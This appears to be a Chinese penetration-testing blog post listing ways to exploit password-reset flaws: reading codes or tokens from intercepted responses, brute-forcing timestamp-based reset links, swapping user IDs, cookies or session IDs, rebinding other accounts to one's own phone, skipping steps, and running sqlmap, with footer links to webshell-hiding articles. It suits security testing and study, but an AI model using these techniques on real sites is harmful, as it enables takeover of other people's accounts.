返回凭证(验证码 及 token)、邮箱弱 token、用户凭证有效性、重新绑定

抓包,可以发现返回的数据中有一个加密的字符串(token),先记录下这个加密字符串

继续按照正常流程,登录邮箱获得验证码,返回填写验证码后,进入下一个填写新密码页面,发现 URL 后新增了一个加密验证的字符串

这个字符串就是之前数据包中记录的字符串,所以邮箱验证码这个环节可以绕过,直接用他人邮箱抓包获得加密字符串就可以重置他人密码

根据手机号找回密码,抓包,可以发现验证码直接显示 verifycode=xxxx,或者由 md5 加密后显示,解密即可(同理,有的时候输入用户名,抓包可以看到返回的手机号等其他信息)

根据邮箱找回密码,抓包直接返回,密码找回凭证可能在页面中

例如:利用两个帐号同时点击找回密码,去邮箱查看找回密码的链接,发现两者的随机 token 只差 1-2,而且可以猜测出为服务器时间所以可以用一个未知帐号和一个已知帐号同时点击找回密码,稍微遍历一下随机 token,就可以构造出未知帐号的密码找回链接例如:通过邮箱找回密码,正常流程去邮箱查看重置密码链接,发现链接处有一串 md5 加密字符串字符串解密,类似 149129327710位),可以判断为 Unix时间戳,(可能md5)重置他人密码只需要利用他人邮箱发送重置密码邮箱,在短时间内对 Unix时间戳 进行暴力破解,即可获得重置密码的链接重置密码链接直接使用用户名来区别,改变用户名即可更改他人密码

绕过token

正常流程下,对每个功能模块进行抓包,分别是发送验证码,验证验证码是否正确,获取 token,重置密码

接下来,用他人帐号通过邮箱验证,抓包,将其中 Cookie 内从 JSESSIONID 开始的内容替换至正常流程的发生验证码包内,同时替换自己接受验证码的邮箱,提交

通过邮箱获取验证码后,将验证码、Cookie、他人帐号、自己邮箱替换至验证验证码模块,提交(不用在意返回是否错误)

继续替换内至获取 token 模块,提交获取 token

最后将获取的 token 和上面的内容替换至最后的重置密码模块,提交成功修改密码

例如:通过邮箱找回密码,访问链接重置密码,输入新密码后提交时抓包,虽然有 token,但是依然可以直接修改 用户ID 进而修改他人密码例如:通过他人手机号找回密码,抓包,将他人手机号替换成自己的手机号,获取验证码,提交后修改密码通过自己手机号找回密码,获取验证码后抓包,将数据包中的 username 改为他人用户名,提交后成功修改他人密码

短信验证码、邮箱 token、重置密码 token

例如:通过邮箱找回密码,URL 链接中修改 用户ID 为他人,邮箱不变,之后通过链接可以将他人账户绑定为自己的邮箱,之后通过邮箱找回密码例如:给已知账户绑定手机,发现绑定手机的 URL 链接中有 uid 参数,修改 uid 参数为他人的,即可实现将他人的账户绑定上自己的手机,之后通过手机来修改密码修改个人资料处抓包,修改 userId 为他人,修改 mobilePhone 为自己的手机,即可实现将他人的账户绑定上自己的手机,之后通过手机来修改密码

手机绑定、邮箱绑定

例如:通过密码保护问题找回密码,抓包,将密码保护问题删除,直接修改密码,提交注:此处密保问题和新密码在同一页面例如:正常流程,通过手机号提交验证码找回密码处抓包,记录下这个包的内容通过已知用户名找回密码,查看源代码可以发现用户其他信息(比如:手机号、邮箱)通过发现的手机号选择通过手机找回密码,随便输入短信验证码,抓包修改之前记录下的包的内容,将其中 Session id、用户ID 修改为刚刚从其他用户名抓包获得的内容,提交这个包,即可成功修改他人密码

最终提交步骤

例如:通过邮箱找回密码,最后通过链接至修改密码页面,修改密码后提交,抓包,获得 Uid参数,修改为他人,即可修改其他用户密码

服务器验证的验证逻辑为空(绕过认证)

例如:通过邮箱找回密码,点击请重新发送邮件处抓包,将邮箱改为自己的邮箱,通过链接成功修改密码例如:通过手机找回密码,输入验证码和新的密码,F12 审查元素,修改自己的手机为他人手机,提交成功修改他人手机(也可以抓包修改)例如:正常流程下,密码找回,查看最后设置新密码页面的 URL,记录下来继续返回密码找回处,输入其他用户名,提交找回申请,直接访问上面记录下的修改密码页面,成功修改密码也可以正常流程下,修改密码页面抓包,修改其中的 USERNAME_COOKIE 为其他用户(有可能会经过编码,比如 base64),提交即可修改其他用户密码如果抓包其中有 step 参数,可以修改这个参数为最后一步(比如:5),提交便可略过之前的步骤跳过验证步骤、找回方式、直接到设置新密码页面例如:通过用户名找回密码,提交后会自动发送验证码到手机中,所以抓包,修改手机为自己的手机(如果其中有 type 之类的参数,也可以尝试修改,有 email之类的参数,可以尝试删除内容)发送修改后的包,手机成功接收验证码输入验证码,继续发送,抓包,如果有 type 之类的参数,可以继续尝试修改,发送就可以成功修改密码例如:通过手机找回密码,随便输入验证码,抓包,发送,拦截返回包修改返回包中的返回码,继续发送,说不定就可以绕过验证,直接跳到修改密码的页面通过手机找回密码,正常流程下到重置密码页面,抓包查看返回数据中有一段加密字符串利用他人手机找回密码,URL 跳转到验证身份页面,链接中就有一段加密字符串,记录下,随便输入验证码抓包,修改包中数据为正常流程下的数据,替换加密字符串,Forward发送,就可以绕过验证码,直接修改密码

输入用户名,加个单引号报错,说明可能存在报错,抓包,保存为 txt 文件,导入 Sqlmap 中跑一遍

找回密码处存在注入漏洞(见框就×)

通过邮箱找回密码,正常流程下,抓包查看提交验证码后返回的数据,发现有加密字符串,这个加密字符串和后面重新设置新密码 URL 链接中的加密字符串一样,所以可以利用这个加密字符串

根据上面提交验证码的抓包,修改其中的 User 为其他用户(User 有可能会使用 md5 加密),发送,就可以返回其他用户的加密字符串

重新返回到找回密码首页,利用其他用户找回,点下一步,到输入验证码处(也有可能需要点击发送验证码),直接修改 URL 链接,加入加密字符串,可以直接绕过验证码,重置密码

session覆盖漏洞

注册重复的用户名,例如 admin,相当于修改了密码

同一浏览器,首先输入自己的账户进行邮箱密码找回,进入邮箱查看链接,接着输入他人账户,进行密码找回,返回刚刚自己的邮箱点击链接,由于 session 覆盖导致了,这个链接成为了修改他人密码的链接,成功修改他人密码

尝试正常密码找回流程

选择不同的找回方式,记录所有数据包

邮箱找回密码

根据密码保护问题找回密码

根据手机号找回密码

分析数据包,找出敏感部分

分析后台找回机制所采用的验证手段

修改数据包进行验证是否存在密码找回漏洞


推荐阅读- 补充getshell技巧


干货 | 渗透之网站Getshell最全总结


渗透测试中如何快速拿到Webshell


如何优雅的隐藏你的Webshell


https://github.com/ten nc/webshell



点赞,转发,在看


原创投稿作者:Mr.M(学员)

博客:hackerx2021.github.io